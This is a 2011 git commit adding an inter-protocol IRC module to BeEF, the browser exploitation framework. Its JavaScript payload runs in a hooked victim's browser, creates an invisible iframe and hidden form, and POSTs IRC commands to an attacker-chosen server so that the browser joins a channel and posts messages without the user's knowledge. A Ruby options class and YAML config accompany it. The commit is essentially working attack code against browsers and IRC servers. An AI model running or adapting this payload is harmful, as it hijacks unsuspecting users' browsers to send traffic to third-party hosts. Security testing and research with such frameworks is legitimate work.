Adding IPEC IRC module

git-svn-id: https://beef.googlecode.com/svn/trunk@1287 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
jgaliana
2011-09-14 17:22:06 +00:00
parent 2b095f2cf0
commit 43fbe48dca
3 changed files with 113 additions and 0 deletions

View File

@@ -0,0 +1,55 @@
//
// Copyright 2011 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
/**
* Inter protocol IRC module
* Developed by jgaliana
*
* It is known that some IRC servers have protections against browser's connections in order to prevent attacks seen in the wild
* http://www.theregister.co.uk/2010/01/30/firefox_interprotocol_attack/
*/
beef.execute(function() {
var server = '<%= @server %>';
var port = '<%= @port %>';
var nick = '<%= @nick %>';
var channel = '<%= @channel %>';
var message = '<%= @message %>';
var target = "http://" + server + ":" + port;
var irc_commands= "NICK " + nick + "\n";
irc_commands+= "USER " + nick + " 8 * : " + nick + " user\n";
irc_commands+= "JOIN " + channel + "\n";
irc_commands+= "PRIVMSG " + channel + " :" + message + "\n";
var iframe = beef.dom.createInvisibleIframe();
var form = document.createElement('form');
form.setAttribute('action', target);
form.setAttribute('method', 'post');
form.setAttribute('enctype', 'multipart/form-data');
var input = document.createElement('input');
input.setAttribute('type', 'hidden');
input.setAttribute('name', 'data');
input.setAttribute('value', irc_commands);
form.appendChild(input);
iframe.contentWindow.document.body.appendChild(form);
form.submit();
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IRC command sent");
});

View File

@@ -0,0 +1,26 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
inter_protocol_irc:
enable: true
category: "IPEC"
name: "IRC"
description: "Using Inter-protocol Expliotation/Communication (IPEC) the hooked browser will connect to an IRC server, join a channel and send messages to it."
authors: ["jgaliana"]
target:
working: ["FF"]
not_working: ["C", "S", "O", "IE"]

View File

@@ -0,0 +1,32 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Inter_protocol_irc < BeEF::Core::Command
def self.options
return [
{'name' => 'server', 'ui_label' => 'IRC Server', 'value' => '127.0.0.1'},
{'name' => 'port', 'ui_label' => 'Port', 'value' => '6667'},
{'name' => 'nick', 'ui_label' => 'Username', 'value' => 'user1234__'},
{'name' => 'channel', 'ui_label' => 'Channel', 'value' => '#channel1'},
{'name' => 'message', 'ui_label' => 'Message', 'value' => 'hi all! yay!'}
]
end
def post_execute
save({'result' => @datastore['result']})
end
end